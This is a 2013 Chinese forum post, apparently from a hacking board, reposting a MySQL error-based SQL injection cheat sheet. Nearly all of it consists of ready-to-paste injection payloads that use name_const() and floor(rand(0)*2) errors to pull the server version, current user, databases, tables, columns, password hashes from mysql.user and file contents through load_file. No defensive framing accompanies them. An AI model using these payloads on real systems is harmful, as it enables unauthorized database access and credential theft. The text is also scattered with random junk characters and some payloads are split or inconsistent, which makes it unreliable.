找回密码
 立即注册
查看: 2938|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
; n! T) `: Y% i% {9 ?" O; V
. V# u0 j1 s' ]- e4 y7 A4 J/ T- Z" ^' b' v! f; V/ T7 T7 v& n
Mysql暴错注入参考(pdf),每天一贴。。。
9 Y7 I( L& a& Y) b& T
  h' u1 c; K5 j, g  m  VMySql Error Based Injection Reference5 X& h4 _2 p9 a6 b$ s9 v) ]
[Mysql暴错注入参考]
) f( T) M9 A4 ~+ |, ]% LAuthornig0s1992
% |4 O* x8 U2 a; ^7 pBlog:http://pnig0s1992.blog.51cto.com/# L0 b& |) z* M0 y" `
TeAm:http://www.FreeBuf.com/: b) G2 i- f* f: l+ `, \
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
- o1 X+ K* B6 i$ j小部分版本使用name_const()时会报错.可以用给出的Method.2测试' I: D+ P, _- `8 r) w# L2 j
查询版本:# R7 H: C  I2 r( I+ V9 Z/ s
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+- K/ W. F  @, ^
join+(select+name_const(@@version,0))b)c)
! |7 e5 J, m* N1 yMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro, |, P3 T2 e' s" k2 Y
up by a)b)
! h+ s$ Y# D- X/ Z4 J1 z查询当前用户:) B8 v/ E, ^' v) m7 y; {( o! f, e) g  ~
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)1 o2 O8 Y5 X- j& K
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r- Y& S- u8 p/ I$ j8 P
and(0)*2))x+from+information_schema.tables+group+by+x)a)
: r5 W7 @: u6 [& m, x( U5 _% n查询当前数据库:
' j, p; N3 |7 H/ ^) g6 sMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
1 d' A+ p3 Y# i% J# m  N" D: zMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo, k# C0 K: f( P
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a). G; J$ c+ Q+ W/ m& B
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+# _- i; g( H1 p* C9 e* p
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
* m; R! W) @( f5 E6 i顺序替换' e4 q+ L/ ?( r- g$ G5 l* F
爆指定库数目:
8 w; Q/ L( n- M  l3 }1 ~/ m( U. uand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
6 i3 \0 Y; u* c. C9 q# `able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group* r1 n, x. n+ e; g+ y
+by+x)a)+and+1=1 0x6D7973716C=mysql: w- m, k0 p; d% v1 \1 b" K
依次爆表:
/ P( D+ \. E1 B9 K9 X8 |/ Band+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t  l2 \- s- ^, W; c* e
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
/ Y0 j! I, M& u/ |) i# Ybles+group+by+x)a)+and+1=13 i& f+ A1 ?2 G
0x6D7973716C=Mysql 将n顺序替换4 m* R/ M: C6 b. h' n( ]
爆表内字段数目:. @" J" ?  e, y6 l# z
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE5 C# e# g8 A! w% N6 ~) K
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran, U1 [# U- j/ K  Q/ b! T$ r
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
7 z) L7 p( l. y依次爆字段:7 e, a; F0 I  a5 z( @
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
. Z+ d  _" o' U' B+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
$ E/ ~3 j& q. Z" h4 z. Hloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换. x& C: h8 {& u+ R( K
依次暴内容:1 J: ?! }" q: Q+ {; o) H
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche& F! ]. f6 f# T: T2 ^$ F2 S% `
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
* @* u4 q2 k% o! X& s将n顺序替换
1 j4 h2 R& f& n$ o! k2 m  i爆文件内容:6 {4 d0 d5 v6 r7 `( a* }' f
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a/ e- N9 E* p! U6 A. H7 J
from+information_schema.tables+group+by+a)b)
4 {: U) P3 f" t3 |0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节: {5 D4 J1 U5 X! f+ B* v
Thx for reading.
9 K  V6 e0 ~0 H4 Y7 e
8 @' V9 O( l0 S' k不要下载也可以,
& ~5 d; t- Z$ v4 f3 u& Z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表